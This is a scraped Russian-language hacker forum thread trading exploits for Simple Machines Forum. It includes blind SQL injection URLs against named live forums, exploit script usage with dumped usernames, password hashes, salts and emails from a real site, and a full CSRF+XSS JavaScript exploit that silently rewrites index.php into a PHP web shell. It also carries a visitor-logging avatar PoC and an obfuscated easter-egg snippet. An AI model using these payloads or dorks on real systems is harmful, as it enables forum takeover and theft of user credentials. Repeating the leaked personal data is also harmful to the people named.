WHERE ID_AWARD = $_REQUEST
LIMIT 1", __FILE__, __LINE__);
Уязвимость позволяет удаленному пользователю выполнить произвольные запросы в базу. Уязвимость существует в передаваемом параметре id.

Дорк:
inurl:index.php?action=profile;sa=awardsMembers;id =1
На многих найденных форумах, вместо награды будет сообщение The user whose profile you are trying to view does not exist.
Оно возникает потому что удалённый пользователь не выбрал пользователя для просмотра, что есть обязаным для SMF. Решается это простоым добавлением id любого пользователя - http://evilsite.com/smf/index.php?action=profile;sa=awardsMembers;[I]u=1;id=1

Пример:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1 +and+substring(version(),1)=5

Способ обхода фильтра и эксплуатации уязвимости:

https://forum.antichat.ru/showpost.php?p=1329095&postcount=7592
https://forum.antichat.ru/threadnav46016-759-10.html

eLWAux
14.06.2009, 18:25
exploit для Blind SQLinj Member Awards 1.02

SMF ] MemberAwards 1.0.2 exploit
eLwaux(c)uasc && antichat 2009
thx: Grey && mailbrush

usage:
expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
params:
-v = get version()
-u = get user()
-d = get database()
-an = get User Name (логин)
-ap = get User Password (sha1 хеш)
-as = get User Salt (сальт)
-am = get User Mail (емейл)
UAsc.org.UA/files/SMF-Awart-exploit.zip

в скрипте:
$SHOW_ALL = 1; - показывать результат брута
$SHOW_COUNT_REQ = 1; - показать количество запросов
..
все ф-ции в таком формате:
&getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc
первый параметр - начало перебора, второй - конец.
т.е. для AdminName будет перебор от chr(41) до chr(122).
если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на
0..255, т.е. чтоб получилось так:
&getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc

в боевых условиях :) :http://scrubs.net.ru/cms/forum/index.php

] Host: scrubs.net.ru
BAD answer = '╬°шсър!' <-- Ошибка
] version() = 5
] user() = us5729a@localhost
] database() = db
] id=1 NAME = zhbanito
] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
] id=1 SALT = fe81
] id=1 MAIL = shpioner@mail.ru

oRb
14.06.2009, 19:00
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux

Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.

Example:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32

HAXTA4OK
27.07.2009, 23:45
SMF 1.1.10

АВТОР: HAXTA4OK

нужны права админа :(


function EditHoliday()
{
global $txt, $context, $db_prefix, $scripturl;

loadTemplate('ManageCalendar');

$context['is_new'] = !isset($_REQUEST['holiday']);
$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
$context['sub_template'] = 'edit_holiday';
$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;

// Submitting?
if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
{
checkSession();

if (isset($_REQUEST['delete']))
db_query("
DELETE FROM {$db_prefix}calendar_holidays
WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
else
{
$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
if (isset($_REQUEST['edit']))
db_query("
UPDATE {$db_prefix}calendar_holidays
SET eventDate = '$date', title = '$_REQUEST[title]'
WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
else
db_query("
INSERT INTO {$db_prefix}calendar_holidays
(eventDate, title)
VALUES
('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
}

updateStats('calendar');

redirectexit('action=managecalendar;sa=holidays');
}

// Default states...
if ($context['is_new'])
$context['holiday'] = array(
'id' => 0,
'day' => date('d'),
'month' => date('m'),
'year' => '0000',
'title' => ''
);
// If it's not new load the data.
else
{
$request = db_query("
SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
FROM {$db_prefix}calendar_holidays
WHERE ID_HOLIDAY = $_REQUEST[holiday]
LIMIT 1", __FILE__, __LINE__);
while ($row = mysql_fetch_assoc($request))
$context['holiday'] = array(
'id' => $row['ID_HOLIDAY'],
'day' => $row['day'],
'month' => $row['month'],
'year' => $row['year'] <= 4 ? 0 : $row['year'],
'title' => $row['title']
);
mysql_free_result($request);
}

// Last day for the drop down?
$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
}


уязвимое место holiday

=) собственно сам пример

http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5

реализация:
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5'

узнаем кол-во колонок - их 5

из постов GREY'a делаем запрос

http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5+and+(%23)%0Asubstring(version(),1,1)=5

у меня 5 ветка

P.S. прошу сина не гнать на меня , мой первый баг найденный в SMF

dolmatian
05.11.2009, 21:21
']Simple Machines Forum <= 1.1.6 Code Execution (LFI)
Автор:~elmysterio ( a.k.a us )

Локальный инклуд раннее загруженного атачмента с расширением .gif, содержащим шелл

http://milw0rm.com/exploits/7011
можно обойти ограничение на magic_quotes_gpc OFF
если для изменения параметра theme_dir использовать POST запрос к Profile.php

[underwater]
09.11.2009, 00:59
Бекдор?!

Сегодня наткнулся на пост испанского вроде бы хакера WHK, который нашел бекдор в СМФ!

http://www.simplemachines.org/community/index.php?action=mascot

Он посмотрел исходники Sources/Who.php - 660 строка:

function Mascot()
{
global $sourcedir;

// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded. ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible. ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle',
);

mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o00 0o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M _E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow (pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1))))) ;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0, $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{ '; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0o Oo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo {$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array( (1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_ PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0 O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o 000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o0 0oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OO oOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log( M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil( M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$Ooo oOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo 00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});

$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2 hfd2ViX2RhdGE=');
require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO 0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00o OoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1w bGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==') ));

if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}

Он деобфусцировал (http://www.simplemachines.org/smf/latest-laugh.js ) сей кусок кода и получил вот это:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>My name is Earl</title>
</head>
<body>
<h1>Watch out! He's a killer!</h1>
<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>

Как по мне - очередная пасхалка, но все равно забавно.

Glazz
29.11.2009, 15:15
как версию узнать можно?

LeverOne
27.12.2009, 23:33
Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS.

Описание: загружает шелл по аналогичному (https://forum.antichat.ru/showthread.php?p=387875#post387875) принципу; способ требует авторизации в панеле администратора и выполнения браузером администратора представленного скрипта в контексте ЛЮБОГО домена.

Настройки:

1) код шелла (это дело вкусовое, в скрипте стоит тестовый вариант);
2) ссылка на создание новой темы в целевом форуме;

Пояснения:

Первым звеном служит CSRF-уязвимость, заключающаяся в возможности подмены запроса на предпросмотр сообщения. Защита от публикации такого сообщения в форуме существует, а от предпросмотра нет. Эксплойт подменяет запрос админа на предпросмотр вновь создаваемой темы.

Вторым звеном является декларированная возможность выполнения произвольного скрипта в контексте форума с помощью bb-тега [*html], доступного только администратору. Эксплойт отправляет вместе с запросом код подгрузки шелла, который выполнится в скрытом ифрейме (т.е. совершенно незаметно от админа).

Для обхода защиты от такого рода атак, реализованной, например, в NoScript`е, эксплойт отправляет фрагментированный код. То есть запрос с другого домена, содержащий

[*html]<img src=. onerror='eval(String.fromCharCode(bugoga))'>[*/html]

, будет отфильтрован, а запрос

[*html]<i[*/html][*html]mg src=. onerro[*/html][*html]r='eval(String.fromCharCode(bugoga[*/html][*html]))'>[*/html]

отфильтрован не будет.

Остальную информацию дублировать излишне, смотрите её в вышеприведенном посте.

Эксплойт:

/*/ SMF 1.1 - 1.1.11 shell inj. via CSRF + XSS
/// Example: <html><body><script src=smf_shell_inj.js></script></body></html>
///
/// LeverOne 27.12.2009
/*/


//------------------------- start config ---------------------->

php_code = window.php_code || 'if($_GET[lo]) echo($_GET[lo]);';
new_topic_url = window.new_topic_url || 'http://vulnsite.xz/smfforum/index.php?action=post;board=1.0';


//------------------------- end config ------------------------>

index_code = escape('<?php\n\n// Try to handle it with the upper level index.php. (it should know what to do.)\n ' +

php_code +

'\n if (file_exists(dirname(dirname(__FILE__)) . \'/index.php\'))\n' +
'include (dirname(dirname(__FILE__)) .\'/index.php\');\n else\n exit;\n\n?>');

shell_inj = "function get_sesc(url) {" +
" requester('GET', url, null," +
" function() {" +
" if (r.readyState == 4) {" +
" sesc = r.responseText.match(/sesc=([a-z0-9]{32})/)[1] || null;" +
" if (sesc != null) edit_index(sesc);" +
" }" +
" }" +
" );" +
"}" +

"function edit_index(sesc) {" +
" postdata = 'entire_file=" + index_code + "&submit=1&filename=index.php&sc=' + sesc;" +
" requester('POST', './index.php?action=theme;th=1;sa=edit', postdata, null);" +
"}" +

"function requester(method, url, postdata, func) { " +
" try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}" +
" r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));" +
" if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');" +
" r.onreadystatechange = func;" +
" r.send(postdata);" +
"}" +

"get_sesc(location.href);";

function toCharCode(string) {
char_array = [];
for (n = 0; n < string.length; n++) char_array.push(string.charCodeAt(n));
return char_array.toString();
}

shell_inj = "<img src=. onerror='eval(String.fromCharCode(" + toCharCode(shell_inj) + "))'>";

document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
'<form id=myform action=' + new_topic_url + ' method=post target=myfr>' +
'<input type=hidden name=subject value=1>' +
'<input type=hidden name=message value="' + shell_inj + '">' +
'<input type=hidden name=preview value=1><\/form>';
document.getElementById('myform').submit();

cheburator
01.01.2010, 10:44
как версию узнать можно?
Во всех верссиях в футере верссия написанна
Powered by SMF 2.0 RC1.2 | SMF © 2006–2009, Simple Machines LLC

Snake Plissken
02.01.2010, 17:23
Зачастую версию в футере убирают. Мне кстати тоже интересно как ее можно узнать в таком случае.

_eXorcist_
15.01.2010, 15:14
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux

Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.

Example:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
после брута выходит так
passwd: 0000000000000000000000000000000000000000 Requests: 160 Time: 00:00:56


но такого хеша я как понимаю нет в чем проблемма?

и что означает число 160

_eXorcist_
12.03.2010, 14:22
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/

Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1

c0d3d by Elekt (www.antichat.ru), 13.12.2007

::FAQ::

Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.

Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1


[i] информация предоставлена с целью ознакомления

кто пользовался данным сплоитом пишет

Cannot open log file!

не может открыть лог файл аддрес сайта
примерно такой

http://www.i.ru/forum/

в сплоит пишу такое

smf114expl.pl -h http://www.i.ru -d /forum/ -i 1

в чем проблемма?

TANZWUT
12.03.2010, 15:06
пример ясно же написан - без http://

Toshik
28.03.2010, 23:41
Simple Machines Forum <= 1.1.8 (avatar) Remote PHP File Execute PoC

- Step by Step:

1) go to your profile in section of avatar.
2) put the url of the malicious php file as avatar (ex: http://target/poc.php).
3) create a new topic.

- [victims] All the people that visit the topic will be infect.


malicious file example [steal info]: (poc.php)

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$so= $_SERVER['HTTP_USER_AGENT'];
$lan= $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$url= $_SERVER['PHP_SELF'];
$path= $_SERVER['DOCUMENT_ROOT'];
$archivo = 'hacks.txt';
$fp = fopen($archivo, "a");
$string = "
Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC


$path$url

VICTIM: $ip

info: $so
language: $lan


";
$write = fputs($fp, $string);
fclose($fp);
?>
------END-----

cat hacks.txt

Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC
by Jose Luis Gongora Fernandez (aka) JosS

/***/***/vhosts/hack0wn.com/httpdocs/poc.php

VICTIM: 88.25.92.***

info: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1)
language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3


// tested on smf 1.1.8

Nightmarе
17.06.2010, 16:25
Баг заключается в том, что движок считывает сначала заголовок "X-Forwarded-For", и если он не пустой, то он определяет значение как реальный IP адрес, и указывает его в сообщении. (мембер может видеть свои IP адреса своих сообщений)

Но кроме как подделать IP адрес на любой более ничего нельзя, если вписать произвольные символы, то вместо IP будет "unknown". Так-же обойти фильтр хитростями типа 111.222.333.4lol тоже нельзя, будет IP: 111.222.333.4 и т.д... исходный код функции не смотрел, но ясно что регулярка по IP адресам.

Обнаружил баг случайно на одном форуме, баг довольно забавный, и я бы сказал полезный.
Тестировал на SMF 1.1.11, другие версии не пробовал.